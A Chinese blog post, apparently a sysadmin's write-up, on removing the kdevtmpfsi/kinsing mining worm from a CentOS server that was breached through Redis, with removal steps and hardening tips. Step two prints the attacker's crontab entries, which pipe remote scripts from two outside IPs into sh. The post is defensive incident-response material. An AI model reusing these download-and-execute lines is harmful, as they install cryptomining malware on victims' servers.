问题描述:

Linux Centos 7 环境下的一台服务器CPU直接被打满,上服务器 top 命令看到了一个未知的 kdevtmpfsi 疯狂占用中,情况如下图:

网上搜索了一下 kdevtmpfsi 是一个挖矿病毒,大多数都是 redis 程序侵入,而且受害者还不少,通常比较明显就是 占用高额的CPU、内存资源。

问题原因:

阿里云公布的威胁快报:https://yq.aliyun.com/articles/741602

Redis RCE导致h2Miner蠕虫病毒,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。

问题解决:

第一步cd 命令切换到自己 Redis 的安装目录下,然后删除该目录下的 red2.so 文件以及以 kinsing 开头的所有文件。

第二步crontab -l 命令先看看 crontab 的定时任务列表

[root@VM-0-9-centos /]# crontab -l
* * * * * wget -q -O - http://91.241.20.134/scg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://185.191.32.198/scg.sh | sh > /dev/null 2>&1

因为我这台服务器根本没设置过 crontab 定时任务,而且这是两个国外(伊朗,俄罗斯)的陌生IP,所以可以断定这就是罪魁祸首。

第三步crontab -e 命令进行定时任务编辑(该步骤很重要),去除陌生的定时任务(要求在root用户下),在打开的文本中,按 i 进行编辑删除,编辑完后按Esc退出键退出编辑,再输入 :wq 强制性写入文件并退出。

[root@VM-0-9-centos /]# crontab -e

第四步ps -ef|grep kdevtmpfsi  命令查看 kdevtmpfsi 的进程,并且使用 kill -9 PID 杀死kdevtmpfsi 对应的进程

[root@VM-0-9-centos /]#  ps -ef |grep kdevtmpfsi
root     40422     1 99 10:16 ?        01:01:16 /tmp/kdevtmpfsi
root     60879 60813  0 10:24 pts/4    00:00:00 grep --color=auto kdevtmpfsi
[root@VM-0-9-centos /]#
[root@VM-0-9-centos /]#  kill -9 40422
[root@VM-0-9-centos /]# 

第五步ps -ef|grep kinsing  命令查看kdevtmpfsi程序的守护进程kinsing  ,并且使用 kill -9 PID 杀死对应的进程

[root@VM-0-9-centos /]#  ps -ef |grep kinsing
root     38560     1  0 10:15 ?        00:00:01 /var/tmp/kinsing
root     62455 60813  0 10:26 pts/4    00:00:00 grep --color=auto kinsing
[root@VM-0-9-centos /]#
[root@VM-0-9-centos /]#  kill -9 38560
[root@VM-0-9-centos /]# 

第六步find / -iname kdevtmpfsi 命令再次确定kdevtmpfsi文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序

[root@VM-0-9-centos /]# find / -iname kdevtmpfsi
/tmp/kdevtmpfsi
[root@VM-0-9-centos /]# rm -rf /tmp/kdevtmpfsi
[root@VM-0-9-centos /]#

第七步find / -iname kinsing 命令再次确定 kinsing 文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序

[root@VM-0-9-centos /]# find / -iname kinsing
/var/tmp/kinsing
[root@VM-0-9-centos /]# rm -rf /var/tmp/kinsing
或者像第一步一样(删除kinsing开头全部相关文件)
[root@VM-0-9-centos /]# find / -name "kinsing*" | xargs rm -rf

 第八步cat ~/.ssh/authorized_keys 查看是否有陌生的的公钥,有则删除掉,


问题防护

  • 把异常的IP地址,入站及出站全部封禁
  • 不定期更新 Redis 服务密码,禁止使用默认端口,非必要不暴露在公网或绑定指定IP
  • 启用ssh公钥登陆,禁用密码登陆。
  • 完善安全策略,入口流量,非必要一般只开放 80 443 端口就行,出口流量默认可以不限制,如果有需要根据需求来限制。
  • 防火墙能用的尽量用起来,有条件可以上付费的。

经过几天的观察,服务器运行正常。

kdevtmpfsi 处理(挖矿病毒清除)相关推荐

  1. linux处理kdevtmpfsi,kswapd0(挖矿病毒清除)

    话不多说上干货 突然发现服务挂了,服务器无法登录,直接在管理平台重启后登录 检查服务器 top 查看当前服务器情况 发现异常,kswapd0把cpu干爆了 网上查了一圈发现这特喵的是挖矿病毒  惊呆了 ...

  2. kdevtmpfsi kinsing 挖矿病毒

    在机器上排查问题时,发现了两个异常的定时任务,分别在两台入口机器上 * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /de ...

  3. 记一次简单的挖矿病毒清除---实战

    1.top 命令查看进程,cpu使用达到100% 此处尝试使用 kill -9+ 进程号  ,强制杀死进程后,病毒进程又重启,怀疑设置了定时任务 2.查看木马保存路径 通过ls -l proc/进程号 ...

  4. 记一次挖矿病毒清除经历

    一.问题 一早收到阿里云报警通知短信,说是服务器受到挖矿病毒攻击. 二.解决思路 2.1 top查看进程 先登上服务器查看当前服务器进程,一看四个CUP的空闲率全部为0,有一个进程占用了将近400%的 ...

  5. linux挖矿病毒清除 .ssh3 /tmp/.

    症状: cpu 飙高,如果有java 程序的话会发现程序每隔30分钟重新启动一次 用top命令查看 发现  /tmp/. 这个程序非常消耗cpu 病毒源码 病毒定时任务 清除过程: 1. 先停止定时任 ...

  6. Window应急响应(六):NesMiner挖矿病毒

    0x00 前言 作为一个运维工程师,而非一个专业的病毒分析工程师,遇到了比较复杂的病毒怎么办?别怕,虽然对二进制不熟,但是依靠系统运维的经验,我们可以用自己的方式来解决它. 0x01 感染现象 1.向 ...

  7. 一体化运维:挖矿病毒可能正在蚕食你的IT资源

    加密货币是21世纪最热门的话题之一,缔造了无数个财富神话,由于加密货币特殊的开采机制,任何一台具有处理器 (CPU) 和显卡 (GPU)的设备都能开采加密货币,网络黑客们嗅到了商机,将挖矿病毒植入到企 ...

  8. Linux被kdevtmpfsi,pnscan挖矿病毒入侵记录

    Linux被kdevtmpfsi,pnscan挖矿病毒入侵 记录起因 从腾讯云刚拿了一台新服务器,第一天装好docker环境后,第二天上午就收到了来自腾讯云的短信警告.登陆平台后发现站内信 好在腾讯没 ...

  9. Linux——挖矿病毒(sysupdate, networkservice进程)清除解决方案

    问题描述 Linux进程 阿里云管理控制台看看CPU占用率 解决方案 top命令 获取进程号 查看进程运行的文件位置 ls 命令 ls -l proc/{进程号}/exe sysupdate.netw ...

最新文章

  1. 20155321 实验四 Android程序设计
  2. 网页自适应和响应式的区别与分析总结
  3. Python如何进行内存管理?
  4. 方式程0day MS17-010远程溢出漏洞测试
  5. android gridview控件使用详解_Android开发实现自定义日历、日期选择控件
  6. python 二项分布_二项分布的理论基础、应用及Python实践
  7. 7. Android Basic UI的布局 WidgetDemo基本组件演示
  8. 《大型网站架构技术》系列分享专栏
  9. 职称考试计算机怎么学容易,计算机职称考试备考的六个关键点
  10. Redis内存分配简单分析
  11. Linux完全卸载mysql数据库
  12. java svn 创建分支_Eclipse下svn的创建分支/合并/切换使用
  13. 如何把字幕文件转换成txt文件或word文档,.ass文件内容怎么提取出来txt文件
  14. python node.js ruby_Python/Ruby/Node.js/Perl - 随笔分类 - bluefrog - 博客园
  15. Git 修改commit提交信息
  16. 用生活中的照片做海报
  17. sql:mysql:分词
  18. SHA256 算法实现
  19. web前端 | 一条“不归路” - 学习路线
  20. mmorpg游戏第2次内测问题总结

热门文章

  1. 用于业务的精炼js工具函数(浏览器环境)
  2. 《黑镜》S06-04
  3. FFT造成的频谱混叠,栅栏效应,频谱泄露,谱间干扰
  4. 汇编语言(第四版)——王爽 著
  5. Java实现 蓝桥杯 算法提高 复数四则运算
  6. mldonkey配置小结
  7. 职高高一计算机文化基础试题,计算机文化基础教案-Microsoft Excel 2000 (中职教育)...
  8. 外行浅谈“借贷记账法”
  9. 2020年研究生数学建模竞赛优秀论文汇总
  10. 解决图片上传大小限制